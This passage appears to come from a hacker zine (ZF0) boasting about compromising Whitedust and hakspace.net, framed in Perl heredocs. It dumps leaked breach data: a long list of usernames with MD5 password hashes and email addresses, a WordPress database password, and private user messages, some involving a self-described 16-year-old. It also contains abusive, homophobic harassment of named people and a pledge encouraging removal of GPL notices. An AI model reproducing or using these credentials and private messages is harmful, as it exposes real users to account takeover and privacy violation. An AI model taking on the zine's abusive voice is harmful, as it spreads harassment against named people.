Muraii:49a1b76eb0b47571f00995850a8657b4:muraii@yahoo.com:
willsnake:ec209a86bffe962690db18401a02deaf:willzsnake@gmail.com:
42091_ickim:176030a44e94b7261e894b1b5fea718b:yardfarmer1957@bellsouth.net:
StivRichardOff:142cf045581ed681bd2569d6526e2d29:meta2zz@gawab.com:
bigHogPidors:afa0080e9463be35600fd250c0d65ebf:titelwey@mail.ru:

// ** MySQL settings ** //
define('DB_NAME', 'dshadow_blogdb');	// The name of the database
define('DB_USER', 'dshadow_wp');     // Your MySQL username
define('DB_PASSWORD', 'th3w0rld15m1n3); // ...and password
define('DB_HOST', 'localhost');    // 99% chance you won't need to change

We can continue bashing cypherzero for each and every post he made on his
blog and that would be a useless waste of space.
So we'll just let him bash himself. Visit http://cypher0.h18.ru for more
lulz.

EOCYPHERXERO
);}




sub ZAP { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; say($self, <<'EOZAP'


-- Introducing ZAP --

Have you ever been in a situation where you based your code
off of another script, yet you didn't want to include its
accompanying copyright notice? Then this is for you.

In this case, you have three options:

  a) Include the notice, because you are lazy and legal.
  b) Rewrite your program from scratch, because you want 
     your due creative recognition.
  c) Simply not include the copyright notice.

These are also known as:

  a) The lame way.
  b) The ego way.
  c) The elite way!

There are various reasons for choosing c. Perhaps you find 
that if you were to start your code fresh, it would be 
similar in expressions and control to the code you had 
before. Further, they would probably do the same thing in
almost the same way. Doing so does not seem fair to you.

Additionally, by including the GPL in your modified program
you have essentially waved moral rights to the code. You
have signed the code over, so to speak, and have willingly
withdrawn your rights to it. 

You might feel a bit ripped off. Afterall, perhaps your 
code is a greater derivation, in both form and concept, 
from your source than that source is from its influences.

A more practical reason exists: Perhaps you hate long,
annoying comments from others in your tool, and heck, you
are an evil hacker who isn't going to let copyright law
alter your practices.

The GPL is one example of a copyleft notice that seeks to 
limit some freedoms to ensure most freedoms. As nice as the
GPL is, for any of the reasons above you may not wish to
abide by its rules. The GPL is not full of loopholes: 
rather, every new version is like the next Terminator, only
stronger. It's out to get you and you cannot stop it. I 
knocked a copy of the GPLv2 into molten steel; it came out
squeaky clean.

If you decide to basically violate the law and not include
a copyright license, you may wish to offer some explanation
for that choice. Thus, we present ZAP.


-----------------------------------------------------------
|                                                         |
|            ZF0 Anti-copyright Pledge (ZAP)              |
|                                                         |
|                                                         |
| 1. This code may or may not be derived                  |
|    from one or multiple external sources                |
|    with or without express permission.                  |
|                                                         |
|                                                         |
| 2. We reject the general universal applicability        |
|    of software copyrights to all cases based on         |
|    any combination of the following:                    |
|                                                         |
|     a) The vagueness of the Agreement on Trade          |
|        -Related Aspects of Intellectual Property        |
|        Rights in the area of software rights.           |
|     b) The lack of cohesion of different                |
|        national copyright legislation.                  | 
|     c) The lack of originality in software and          |
|        the lack of establishment of originality.        |
|     d) Further personal opinions.                       |
|                                                         |
|                                                         |
| 3. We reject the assumed right of verbatim              |
|    copyright control over all revision.                 |
|                                                         |
|     a) Particularly in free software, a copyright       |
|        serves as recognition and little else.           |
|     b) We will extend recognition as we                 |
|        feel it is deserved, and not less.               |
|                                                         |
|                                                         |
| 4. This statement does not attempt to                   |
|    serve as a legally binding document.                 |
|                                                         |
|     a) This notice is an explanation, not a limitation. |
|     b) These are terms of release,                      |
|        not conditions of use                            |
|     c) This software is thus provided as-is             |
|        without any guarantees or warranties.            |
|                                                         |
-----------------------------------------------------------


You are free (of course, how could we legally stop you?) to
use this. You could include it directly, or even just say 
something along the lines of "See ZAP for copyright terms"
or "Released in concurrence with ZAP principles".

EOZAP
);}




sub Whitedust { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; own($self, <<'EOWHITEDUST'


==intro

<psg> Why are you trying to prove shit to me? You hate me for no reason?! :)
# All IRC quotes taken from conversations not including ZF0 members - we
wouldn't IRC with psg

In ZF02 we had a Call For 0wning in which we detailed how Mark Hinge, aka
psg, aka |PaRiS|, aka Voshika, aka any other gay nick, needed to be owned.
Allow us to tell you a little story of how he and his bum buddy Mark
Anderson (aka Cronus) got owned through the roof. We call this story "Two
Marks don't make a Right".

These two young fools spent the 1990s pretending to be hackers. Cronus was
a lead contributor to the Discordant Opposition Journals (DOJ), which
never produced any technical content. psg contributed to the Syndicate of
London Journal/Annuals (soljo, maybe "solja" was too feminine for them),
which also has not produced anything intelligent. However, these two
wankers wave their journals around as their hacker cred. Collectively we
may refer to these two, and their chav friends like fwaggle, steinsky,
and chickensoup, as the Syndicate of London (SoL).

We are unable to find any period in time in which SoL actually did
anything. As far as their written record goes, it seems they claimed to be
hackers, and then wrote some shitty zines talking about how they were
hackers. I term these men "fake hackers"! Seriously, they knew how to type
and how to use the internet in the early 90s. Congratulations fucktards.

Let's flash-forward a few years. Enter 2005. They still hadn't
accomplished anything. But then Cronus (that's Mark Anderson, in case you
have forgotten already!) decided to make some money off of being a fake
hacker. So he put the capital behind whitedust.net and got psg (Mark
Hinge) to be the lead bitch. It was supposed to be the world's best
independent online security news source. However, it completely lacked
legitimacy. The Marks did not actually know any real hackers, and could
not be ahead of the pack for news. They became resellers and relinkers of
news that appeared on other sites. They would also try to create news or
add unoriginal commentary to try to appear unique. They also tried to
support unprofessional news items to get more hits, and would desperately
attempt to get slashdot and other sites to link to them. They wrote their
own Wikipedia articles about themselves to try to increase their profile.

<psg> and *I* "mispresent hackers" <- sure do

Whitedust has never been taken seriously by hackers (except those of us
who were serious about owning it!)

From then to now they have only become worse.

Just to clarify, we are not among the groups accusing SoL of "selling
out". They never had anything to sell. Had they been talented, hell yes
they sold out!

The fake hackers searched desperately for ways to make money off of being
fake hackers. They started hakedspace, err, I mean "hakspace", a
myspace-like site in an attempt to lure the 13 year old virgin fake
hackers of the internet to generate ad revenue for themselves. They took
all of their shitty content over the years and put it into a book, and
have desperately tried to sell a copy.

They tried to host a hacker conference in September 2007. As we have seen,
that didn't happen.

The SoL are trying as hard as possible to make as much money as they can
off of kids and/or php coders who don't know enough about hacking to
realise how full of shit the SoL are. These kids will find themselves
mislead and not provided with quality information. These kids will start
to think they are just as hackerific as Cronus and psg, while really just
learning how to be just as shitty.

<psg> I am not a hacker... i am a marketeer.

That quote is refreshingly honest. It would be more pleasing to see it on
the "About" page of Whitedust than in a small IRC chat where it may not
have ever been repeated.

Now psg tries to backtrack and be like "I wasn't actually aware any of 
the wd staff ever claimed to be hackers anyways". Let's see if I can
think of any examples...wait a second, how about that time you wrote
your own Wikipedia article, and then put yourself in Wikipedia's
category "British Hackers"?

Check it: http://en.wikipedia.org/w/index.php?title=Mark_Hinge&oldid=69843817


==fresh

So, shortly before our release, SoL found out they were owned. But they
are still fuckin' hilarious with how they try to deal with that. They
wrote a self-deprecating post for the sites.

Their big ace in the hole was that they had some emails with KODD. See,
after KODD owned them, KODD was contacted for some purposes. Now, SoL
claims that the KODD email had actually been expired, and after the own
SoL picked it up. Maybe that's how it happened. Yet, I think you'll agree
that that was unlikely and is probably just another lie. First, it takes
time for hushmail accounts to expire. Second, if that was true, and they
had just stolen the account from KODD, then the only way KODD wouldn't 
know is if they never even tried to log in. Despite making a defacement 
and passing around the email, would they really not check it? Doubt it.
Would they not change their website to indicate a new email? Doubt it.

It is more acceptable to conclude that either KODD got pissed off that
whitedust was owned without them, and then passed the emails to WD; or 
that KODD has some serious overlap with the SoL core, and/or directly 
*is* SoL, vis-a-vis the '99 days.

Either way that is the risk you take when you share with other people, 
and that is a risk that was well prepared for. WD doesn't really mention
it, but those emails did not contain any compromising information.
"Chest-beating" existed to obfuscate vagueness.

So basically the entire post was a story leading up to their great trump,
the emails! 

How they dealt with the own is just funny. In order to make our work
seem less impressive, they started detailing just how many times they
know they have been hacked. It was like "$A hacked us through phpizabi.
Then $B hacked us through phpizabi. Then $C hacked us through phpizabi
and defaced us. So then we figured it was time to stop ignoring our 
lack of security. And then $D owned us through completely unguarded
input. So $E really isn't that special."

It gets more hilarious as they failed to realise how big the problem was.
Despite the email clearly saying that we had owned Whitedust itself,
they simply didn't get that when we own we 0wn. They wrote their text
without realizing that we could destroy them in any number of ways at
any moment in time.

It's easy for them to blame phpizabi or to say that psg was the victim
this time. What they need to realise to survive in this world is that
every single person along the line failed them. They have security issues
at any level you can have an issue at. They barely have a grip on XSS, 
let alone an idea of how to handle SQL input or other user-defined input.
They don't know how to manage or maintain the integrity of files. They
don't know how to design things to limit the damage from a single breach.
They don't know how to find secure web applications nor how to write 
their own. They did not do a single thing in all of our research that
impresses us. We will detail or hint at much of these issues below, but
many of them will stay with us as our own personal collection of 
Whitedust 0day. The first thing they could do to help the problem is
scrap WD3 entirely and hire someone competent to make a fresh CMS.

And, jake, you stupid sheep-raping wanker you, it was CF0 and ZF0. With
zeroes, not O's. Get it? Zero for 0wned? The 0 means 0wned? Right? Right?

Fucking retards. On with the show.

==hakspace.net

Hakspace is the place to start, simply because it was very publicly
humiliated. Basically the Marks decided to use a very shitty piece of open
source software as their lame management system. This LMS was full
of hilarious holes. It didn't take us any time to own it and find
ourselves exploring. However, this is not anything to brag about, since a
few other groups or individuals have done the same. One group, the
Knights of Dynamic Discord (KODD), decided to deface the website. See
their text at http://kodd.66ghz.com/18.txt. 

Cronus and psg were so stupid that they either didn't bother taking a look
at the LMS they wanted to use to power their hakspace, or they simply were
too incompetent to see how poor the code was. Either way they deserved a
good owning, and that's what they got. There is no need for us to go into
much detail in this area.

After hakspace got owned:

[ WD Manifesto ] "From this point on we will not indulge in juvenile
destructive squabbling that plagues the web" 
[ ZF0 roffles  ] "Yes you will, just on the losing side!"

Let's have a small tour through their database from before the defacement.

########################################
INSERT INTO `phpizabi_messages`(`id`, `to`, `from`, `attachment`,
`subject`, `body`, `box`, `date`, `read`, `sent_copy`) VALUES ('16', '10',
'32', '
', 'To:  xjessicax Hey!', 'Thanks for adding me as a contact.

While my profile says 30 something, I&#039;m 16 as well, and I
wouldn&#039;t mind getting a chance to talk.

IRC or AIM sound good?

-zach', '', '1175887522', '1', '1');
########################################

Check it out, zach is not really 30, he's 16 for the purpose of hooking up
with xjessicax!

If you want to cyber her aim is xjessicaislegend (the reply was favourable
to zach's cybering attempt!)

########################################
INSERT INTO `phpizabi_messages`(`id`, `to`, `from`, `attachment`,
`subject`, `body`, `box`, `date`, `read`, `sent_copy`) VALUES ('27', '88',
'1', ''
, 'Re: you have been busy', '[quote]
 congrats. Hakspace looks good so far.

Is there anything I can do to help spread the word? 
[/quote]

Tell everyone you know.

Invite everyone you know.

Post it on forums.

Submit it to Slashdot until they give in a post it! :)

Cheers,'
########################################

psg has such smart Slashdot manipulation skills.

########################################
INSERT INTO `phpizabi_messages`(`id`, `to`, `from`, `attachment`,
`subject`, `body`, `box`, `date`, `read`, `sent_copy`) VALUES ('52', '4',
'7', '',
 'To:  QUEEN Hey.', 'You seem to elude me a little bit.

You seem, to me, to be mostly a dominatrix style
mistress-of-hatred-and-pain.

Now, I guess this leads me to wondering where in the &quot;hacking&quot;
category you fall under.  # <- that is not what it gets us wondering

What is your definition of hacking?

I&#039;m just curious.

:)', '', '1178209412', '1', '1');
INSERT INTO `phpizabi_messages`(`id`, `to`, `from`, `attachment`,
`subject`, `body`, `box`, `date`, `read`, `sent_copy`) VALUES ('53', '7',
'4', '',
 'Re: Hey.', 'Firstly I am not a Dominatrix, I am a lifestyle Domina. I am
a sadist who enjoys the BDSM way of life.

I am a loner, a weirdo, a freak. I have few RL friends. I like it that
way.

I spent 3 years of my life in hospital. I always love computers when I was
out..

My computers/s are My life. I quit my business degree to study programming
and software engineering.

I was heavily involved in warez and fxp for the last 8 or 9 years. I did
not want to be a script kidddy. I wanted to learn to code. Coding,
scripts,
 computers suit my mind.

 I will not claim any elite skillz beyond my passion.

I will always prefer computers to people.  I will purse my major and then
continue with computer engineering, assembly is of particular interest.

Consider me below your standards.. its not what I am woried about.

I have passion and a lust for learning and mnay years to make up for.

QUEEN

INSERT INTO `phpizabi_messages`(`id`, `to`, `from`, `attachment`,
`subject`, `body`, `box`, `date`, `read`, `sent_copy`) VALUES ('56', '4',
'7', '',
 'Re: Re: Hey.', 'Huh.

Well said.

I guess I never pinned you as the computer science sort of person, but I
guess that goes for stereotyping.  My apologies if calling you a
dominatrix
 offended you, I&#039;m a wee ignorant on the subject and I&#039;m not
sure if there is a distinction I&#039;m unaware of.

Elite skills seem to be something born in movies and book.  People are
only as good as the things they do regularly and the fabled
d00d-can-get-into
-anything is so elusive I doubt the existence.

In your statement, &quot;Consider me below your standards&quot; I hope you
don&#039;t mean me, personally.  I&#039;m afraid my message may have seem
ed hostile.  It wasn&#039;t intended to be.  I merely sent the message
from boredom at work and curiosity since I haven&#039;t really talked to
you 
before.

Are you going to school for programming, or is it just a hobby?

What languages are are you experienced with?
Which languages are you a novice with?

I suppose it wouldn&#039;t be fair to sound like an interviewer, so
I&#039;ll say a little about myself.

I&#039;m commonly known as Comrade Smack, though people who know me
personally call me XaQ (pronounced: zuh-ack).  Information Systems
Security is m
y thing and I am going to school for it.  I&#039;m 20.	I&#039;ll be
getting an associates degree in June for Computer Networking and I&#039;ll
be g
etting a Bachelors in Information Systems Security in June 2009.  I work
at a retail store as the IT department.  I have my own office, it&#039;s a

pretty sweet rig (pictures coming soon).

I currently have a few projects going.	One seems to be a large step in
the direction of Hacktivism, another is just &quot;the next MySpace.&quot;
 
The first one has to do with using steganography with network traffic,
details I can&#039;t really go into.  I don&#039;t want to compromise the
mis
sion.  The second one isn&#039;t a social networking site, but I think has
a niche that should allow for massive expansion, though I think I&#039;m 
keeping it &quot;underground&quot; via invitation-only and amongst
friends. <-- Check out his elite hacker projects

I guess I&#039;m bored at work again and felt like chatting. 

-Comrade Smack &quot;XaQ&quot; Tacular <-- Comrade Smack can now pick up
lots of girls since he is in cDc-NSF

########################################

^ That's just funny.

Now time for some hashes! Here are the hakspace.net lusers from before the
defacement.

psg', 'e7e9f43efcb7f72bca72aad5b79b7847', 'psg@cdc.nsf.com',
narcotic', '69f1cc5a16638c0dfbc583c9b5798297', 'douglas@qu4ck.com',
Swordoath', '1f90c3c0b4a54825c7e2ebd938dbadb1', 'Sulock@gmail.com',
Ender', 'c909baa24666b7324e249cea04b311aa', 'axandalite@hotmail.com',
riscphree', 'e10adc3949ba59abbe56e057f20f883e', 'riscphree@gmail.com',
zPr', '617e1b5742522efda897ec532e09882c', 'shaitanx@gmail.com',
QUEEN', 'a9f52634ba775a5c2baada52988107d0', 'info@rubberqueen.co.nz',
skapixie', '358c242447244cce5aa241e00cc3885f', 'lorz52@hotmail.com',
Smack', '4d86b29292a7402d5b3f71343047214b', 'smackt@gmail.com',
shaman', 'bed128365216c019988915ed3add75fb', 'jon-hakspace@planzero.org',
xjessicax', 'ddd956c117486cba6efef9fcc4c38549', 'todreamofautumn@gmail.com', 
claustro', '61ec9201ca32d4cb541441c454aa2cc6', 'ma_gerrer@yahoo.de',
LEET', '3b0729efc5953de90b519246085bdd01', 'rosenburgbobby@hotmail.com',
Fanta', '7cb614b87fb376583c98944293fd983c', 'fantaloonastic@hotmail.com',
naxxtor', '3dc69416b0783cac9f3dda37b6bb0862', 'naxxtor@naxxtor.com',
Luke', '9d2df5a492765f03fca897a06c0be9fd', 'shaggstarr@msn.com',
HellzUK', 'd8578edf8458ce06fbc5bb76a58c5ca4', 'jswray@hotmail.com',
dfa', 'c0ba9fe956a08dabe9df09e3b0d71276', 'deathfromafar@code-monkeys.org',
Tidus', 'e0f9609e3728136571be14d60e76d4ca', 'tidus333@gmail.com',
ckopacsi', '7241a98997b6f00f29716b86ce4466ac', 'ckopacsi@yahoo.com',
libertate', '8993c542ca1d8a4fa3630d47ed548107', 'libertate_@hotmail.com',
eris23', 'adfae8dd0b15b0c584af67735fb9e704', 'jdkatz23@gmail.com',
bawb2', '10a015a9cd71995e3c510bd00768e66b', 'bizzawb@gmail.com',
drache', 'bb562a650bfc24b6fc64e746ee65c8c3', 'me@grog.mine.nu',
fuser', '3123b5594d76d6ba67e7985f5d0ea411', 'hadri90@gmail.com',
talnprime', '8b65996657feab900109f216f4b951b6', 'talonprime@gmail.com',
sivakrish', 'b2f7d6e27829d7da30ab470e11a67a6e', 'sivakrishna123@gmail.com',
l0gic', '161a09bd22c4a05b3fd96382fac46995', 'l0gic@l0gic.net',
bhninja', 'fa6836be737073c2dd94f73e62496ea5', 'jdrewm@gmail.com',
terminal', '6c3be46e5ec46fba63e8a423fc6dd4e9', 'firespeaks@yahoo.com',
bky', 'fc4e582f933a07bd3e5746f9eb5a80f6', 'bkystarfleet@gmail.com',
krovisser', '5416d7cd6ef195a0f7622a9c56b55e84', 'nick@selfunaware.com',
XiTDiS', '1404834e52a4c6cac9444f1fb3c62d3c', 'blueeyez112@yahoo.com',
DaMacc', 'c80805b69106298d5cc5ecc02c6171a4', 'elquinte@gmail.com',
LiX', 'b369b8022e21e83d7f2ee375b2a54971', 'lix@valvesoftware.co.uk',
kingofall', 'eb89f66c39c270c05f008c38f3ce39b8', 'king_of_all1@hotmail.co.uk',
transend', '42a53c990a1075e82a61bf0a7a5ac812', 'transend@dcemail.com',
Tzunamii', '7009a1360ccbf034f391872fae01a8be', 'tzunamiii@gmail.com',
mbalboa', '19462fa8ea158e21f53ead18b458ec16', 'mbalboa@gmail.com',
limeyhaqr', '7e3eed005a0edafba5da7fe573e3bf16', 'limeyhaqr@gmail.com',
emonk', '82f0035fbb0c2ef33b1b672b82410fdd', 'root@quicksilverscreen.com',
gator50', '3d04dacf96ba524b32d037bc9c8c7ccc', 'acidpains@aol.com',
Brok3n', '4f327b59dafbe24f8cae197d6aa31e56', 'Brok3n_5w0rd@hotmail.co.uk',
Augustus', '352188e31495f29989ac7ceeb3f91dc1', 'vq42tf03k8m1z7y@temporaryinbox.com',
netf1r3', '21b714346434f88c8a64f164b4162ad8', 'netf1r3@byte-error.com',
shazaum', '4c7134c470ba60d2137278c260777da3', 'shazaum@gmail.com',
Netduke', '406b8494aebf3163c059a733fedfca2d', 'netduke@gmail.com',
renakuzar', '78d48a2ab51f927c079bda1bed7a4d1d', 'renakuzar@yahoo.com',
adastra', 'a8e4f703f5298c1876e07a630dc9d6d4', 'jewuviha@mailmoat.com',
ponchio', '6c51415c108a188411970154b60ee3b4', 'ponchio_69@hotmail.com',
michelper', '2aee1c40199c7754da766e61452612cc','michelpereira-hakspace@gmail.com',
Xenocide', 'da197b6961afb3f963f66e20c6ea1b7a', 'xen423@gmail.com',
enigm0r', '6c29e9cc4042d972b15ff0304e636886', 'dbuckwalter@gmail.com',
_X_', '9cf0fad66f27ca22b7ee721d5413ea62', 'mreckz@users.sourceforge.net',
ReVoLT', '80ae98c5020864ffa34e695d784f9b97', 'revolt0163@hotmail.com',
pingwin', 'dc56bc33e196d040032d060be72a659e', 'pingwin@gmail.com',
wangmm', 'b50aea55b0916e54a95fe1e2cb236359', 'wangmm@gmail.com',
FreakyKid', 'cea46d12b67dc9e39b406f5fed6f3f2b', 'seg_fault@rogers.com',
Dimmae', '2506da4c95f2d1e78c1b597c879d91c9', 'dimmae@gmail.com',
Zakolus', 'e559a8e8404d94586b3ab25059ffe91c', 'zakolus@gmail.com',
Felonious', '11a7f956c37bf0459e9c80b16cc72107', 'mrchesnutt@gmail.com',
fuzz', '7aabd294bd89be4256e932c34609b671', 'fuzz@missouri.edu',
prs', 'e6b25291f1ae97f52a70f08bd245b456', 'hakspace@forensix.info',
sado', '90bcb9dc73b614d0a5bdca71198b2a84', 'sadistic0ne@yahoo.com',
slappy', '293cb6af8d9939b04d3980e3ea6e4055', 'brandonfungus@hotmail.com',
father', '0d19b46d1818223ce51bea65d3775d88', 'fatherlaptop@gmail.com',
SH1R7_GUY', '21af0671b5f06ed531a9c5c44fb4f57d', 'sh1r7guy@hotmail.com',
HackerJax', '4ab3a53629d8013ac8b105f976fad9f8','matthew_dozier@csumb.edu',
lferette', '76c07f8905c4282170453c1e4c1c3805', 'lionel@ferette.net',
snid', 'b4d92944c7a9a90cc60a89ddeaa938cd', 'xsnidx@gmail.com',
rafi', '552fa99dc520c6590e2251f95c5ba01a', 'rafi@openu.ac.il',
sol', 'e7e9f43efcb7f72bca72aad5b79b7847', 'paris@soljo.org',
Kussic', '68de7d90df7867309d9b8ae4fb39c4d3', 'dotari@mac.com',
Belial', '7e59cb5b2f52c763bc846471fe5942e4', 'b3l14l@gmail.com',
Vesalius', 'cf6ba6acf6b315448d10ead50eb4a8fc','ollie@whothehellareyou.info',
fbicudo', '245fa9ddf2c4e71acb2a939b953dc193', 'fbicudo@gmail.com',
fenrir', '3adc6d0d78fc14e9037d469e80c36b83', 'willlobo@yahoo.com.br',
st3x', 'e9f1e0b13b8a60d76bd23d3e11f3de75', 'st3x@hotmail.com',	<-- this guy big psg fan
idsguy', '8b2680de52c6aecc0547dab63272962e', 'ntxpla@gmail.com',
k3ys3r', 'bd564cea7e9c983eb4a63e88a9a49406', 'jacktrice@gmail.com',
x4e', '4ca6b00c0eac493f54032c99098c4be9', 'x4e@x4e.org',
liquidfis', 'a99f847e5dbe676070c86a0cc377b594', 'liquidfish@gmail.com',
r00t619', '2b781b373d7775f4047d9c82f9174a80', 'r00t619@gmail.com',
screv', '4aaad5269c580a6afd8333d73e417b5e', 'screv@hotmail.com',
Xing', '352512781dc959dbefc4972a09506e24', 'xxing66@gmail.com',
myleslong', '667faa4c7d37d34274999baf244b512d', 'myles@cultdeadcow.com',
drraid', 'f2bc5b1d869870d7688f71b2d87030bd', 'drraid@gmail.com',
temp124', '6bf93203ed3bdb7516d0882a27b9758e', 'temp124@kimptongroup.com',
circuit', '63e30cd76dd8fc1d3125fa49c18988f9', 'circuitbomb@flyninja.net',
torpedo', 'f78a580f771c9756b7b6642a87ea68ea', 'torpedo@freeshell.org',
niles', '5297b609864f97c7386aa4adf47e7e40', 'niles@bluebottle.com',
offset', 'fbd1baa2d62ce5761cce36b9e4143c0f', 'offset@ubersecurity.org',
SickMule', '9291e4e9ded00b910290600132ab5406', 'embaumbach@gmail.com',
SupaSaru', 'd0763edaa9d9bd2a9516280e9044d885', 'pockets@techemail.com',
ABitsLife', '807ca4ea007f27f78d1865623bd2bc1e', 'jamesbailey272@yahoo.co.uk',
zinya', '54ccda6d29fed4b41f399682456d715c', 'kitty_84@tiscali.co.uk',
hyper', '6b818a3a6bf1234ed24c940021922b63', 'hyper@hackervoice.co.uk',
MuNk', '5a563b891ee3bafc70344ab3a2576008', 'lordmunk@gmail.com',
Mooseh', 'c80fd33e5eba8563eb1c29fbb543e0b6', 'tom@m33p.com',
welp', '37ec0e14a066d91304fb40f67da664aa', 'welp@01welp.co.uk',
cDc', '28d5cee115ff25080e24caad14451d46', 'webmaster@cultdeadcow.com',
pickle', '18909715fe3d3e416c6201d8d155056a', 'picklejuice@gmail.com',
FutureBSD', 'e494a78ee3a498515f47fd7f13ac1d28', 'FutureBSD@web.de',
hardwire', 'e2a351479a35e2a257f8d5fa4b5a35e0', 'hardwire187@gmail.com',
nrogeist', 'b9bde5159657ac5ff36eebcbb420662a', 'neurogeist@hughes.net',
b00L3an', '38aa067181be3d22d4f73f526661db22', 'b00L3an@gmail.com',
makash', '8b18af3064e5b7db68ed2aa3b0d63aab', 'akashmahajan@gmail.com',
luis', 'b40ff2483ac0286054c67119c6222e3d', 'spiderkid@gmail.com',
xugar', '0e1bf2aa9c4fa6d25f05f843bbd573b1', 'brenodario@terra.com.br',
hash', 'dc551b6164161c85eb4deffa624e2c06', 'carloslnx@gmail.com',
pevnia', '352cc7fb39e725e2ab060958cb3b9c66', 'pevnia@gmain.com',
int3', '89794b621a313bb59eed0d9f0f4e8205', 'rvillordo@gmail.com',
borkedpc', 'ec441f74c2a5cdbef278096c4fc5c1df', 'hakspace@grepmail.com',
LoveLace', 'ca80615d68258e3e4479e08cac47e8d3','troi_delmontes@caribline.com',
ketameme', 'f5fe800fe70bb976241de58d0dc9f61e', 'dx00dx01@gmail.com',
alvaro', '316f9c20b651d17af88735dff86916f4', 'alvaro@yotec.eti.br',
rvltnpwn', 'ed5439d07ea620fc2a664e8df1c78e48', 'revoltingpawn@yahoo.com',
J0rd4n', 'dfabd32b59b03307dd2511eda5c3d357', 'jordan_facey@hotmail.com',
aegis999', '2508afe4c471866d99cf8662a16686e8', 'vgsecur1ty@yahoo.com.sg',
peejay', '2cd6baf8d4fa6ab4a4a0cb758d69b473', 'surrealjason@yahoo.com',
goodboy', 'ceecb8415e84644a7769214c22e94335', 'alexstol@yahoo.com',
BigDog', '13f3252e480b324235375d95c509dcae', 'Cerberus14873@comcast.net',
Gypsie', '38867e6de4a1d8740fb7dc15771086d8', 'jennie313@yahoo.com',
stdin', '57184b0f18edcfa871de8f3bc6d175e6','stdin@electronic-music-alliance.com',
CorpDraco', '9d36a42a36b62b3f665c7fa07f07563b','wolfw1peacekeepers@yahoo.com',
ihustle', '0d107d09f5bbe40cade3de5c71e9e9b7', 'illtype_persona@YAHOO.COM',
kshymkiw', '9bb04f7e14ea008432618c683cf3efe0', 'kshymkiw@gmail.com',
Motogi', '5013c05541fc21b09bb1617be8e76f45', 'Vequoine@yahoo.com',
TMHatr', 'd10096a9193be0834de0be5d516dbd49', 'TMHatr@yahoo.ca',
Hattr', 'd10096a9193be0834de0be5d516dbd49', 'tmhatr@gmail.com',
Viraj21', '5fcfd41e547a12215b173ff47fdd3739', 'viraj_slk@yahoo.com',
mangler', 'cb74b9adcc2641eba78830342f94a56c', 'jasonmori@gmail.com',
red22', '0c8b042e41600534af1672799e445775', 'm4n2a0@hotmail.com',
duckster', '83166cdeb7a2d9c1d591ad9d4eff4204', 'nwhere@gmail.com',
amigo', '42a3761e9aef7a2fe81295099c289a93', 'amy@hackinthebox.org',
serif', '8eb650bbdd292c5c69a0659d9209b630', 'morgan@datalinkcontrol.net',
cr0w_', 'f22ca7296a624acf877c519c07e8767f', 'kyougu@gmail.com',
Drew00013', '0213a9cd31784ba9eb69ae2536dc5f46', 'drewmayes@gmail.com',
Aranje', '184bcaee3f7cc6f1af70de93dc8e5b50', 'orangewinds@gmail.com',
10nix', '1ab1bf6d0a6f97e2cc71fe755c2336dc', '10nix@hackervoice.co.uk',
md5', '26fe0cdfe99bfa306e31733c4e2b17dc', 'md5pass@googlemail.com',
4ssembler', 'ab1c0c12bfef99600bbc1f3478595f11', 'gruberjl@gmail.com',
Stumbler', '900ae31a3ae38757c4b98e654dd34591', 'uppman421@yahoo.com',
verbal', 'f56fdc49bbc079923c1dd913c5d1f717', 'verbal@smashedstacks.net',
gloomer', '1e5e95662da0bf42ce2f0d5c7f0f662e', 'yo_muffinman@hotmail.com',
melphos', 'a9da0784806d18af545e35836a2e1933', 'melphos@gmail.com',
righty', 'd73e4cf8fe7ddf288c851bf25a27427c', 'rightcoast@gmail.com',
Blade', 'cf0d151dd4cffefec01d59f38afd8e94', 'badeofblade@gmail.com',
l33t_tj', 'aae039d6aa239cfc121357a825210fa3', 'eggs@valornet.com',
Zal91', '4200e078b8271c31caa0e3a62f8f9a55', 'zal91@bellsouth.net',
hrddrv', '177976c88914552313ee72714091c322', 'hrddrv@gmail.com',
augur', '20809d7552636da83619561ad6279910', 'augurkun@gmail.com',
Chimaera', '51a87efefcd6396b6dfffeaf34ecd93d', 'darkshadow1990@gmail.com',
hm', '9aa6e5f2256c17d2d430b100032b997c', 'gailandlala@yahoo.com',
kenetik', '4585cc4a2cda77e54f2f2605834d61be', 'kenetik@bitbiters.net',
PeterB', '62bacf83093312d1a55d79831905afc9', 'petersgame@msn.com',
Tweek888', '008fcaa51c412a6ae71be1487e1f4332', 'tweekdisagrees@gmail.com',
phoenix69', '6632511cd5ba03bc07d045474312a2f2', 'greatgt69@yahoo.co.uk',
mrbarcode', 'd8c930a5017c1d94541da5032d5c650e', 'cowboyninja@gmail.com',
matt', 'f69022ec2e397b8ac97be517f9fd8963', 'mattzab@gmail.com',
Drksrc', '893687aeba0744ec2de5099a3b97bfb1', 'jcoyle@winwholesale.com',
think', '8fc52b933532f9a4b83206ea5fd0d6c2', 'think_666@yahoo.com',
goodguy', '742d4b305e59c8113f38eb0df12f7720', 'gooddeed89@gmail.com',
Trikk', '43024376b023da494e94f5799e75b1c7', 'tech7com@gmail.com',
misterhak', '1b5f33fc105525d843fa5665bc5d87d7','pinoyclan_community@yahoo.com',
MacCool', 'ea5a2ba944083bbb4bb4dcab6e6daf3c', 'maccool71@gmail.com',
Hackmo', 'f8b9ed2d08bb3c5bbeeca79485eb1a7f', 'hackmo@gmail.com',
iod3k', '71e2ddf172d36e8346cc3763e1cedb9c', 'iod3k@yahoo.com',
iod4k', '4d4ac2e5f40c9c25ffe05a05508a519c', 'ineffabilis@hotmail.com',
vfrtgb', 'e22a63fb76874c99488435f26b117e37', 'vfrtgb@mailinator.com',
rage', 'c4ee146a878e9c065b045707915e9c99', 'rage@iamrage.com', <-- angry
revebo', 'fc7e987f23de5bd6562b7c0063cad659', 'byronsmart@gmail.com',
Whitedust', 'e7e9f43efcb7f72bca72aad5b79b7847', 'admin@whitedust.net',
rexroof', '3aa7433f52c6fadba8a950256c36a0de', 'hakspace@rexroof.com',
dthis', '22ec7a3e97bcb747bad69af1e21e02ea', 'decypherthis@gmail.com',
bobbie', '1ac0d72d238c86b2029c8419ba2574a2','theangelsprostitute@kittymail.com',
Hippie', 'f7baeca263d193cfe02ac27ef2993709', 'Noellelovelle@gmail.com',
Moregan', '622cd4323272472ebac51f8a0b04a858', 'moregan@gmail.com',
pewp', 'fb52eacf3758541ca36918e8f46bd394', 'pewp@pewp.hack.se', <-- sucker
thehive', '87ab1091dadc85902209dee3019cebcd', 'jhammant@gmail.com',
cyber_eagle', 'dc63bf106a5f21e436a799565e638ff6','cybereagle@hackerslegion.com',
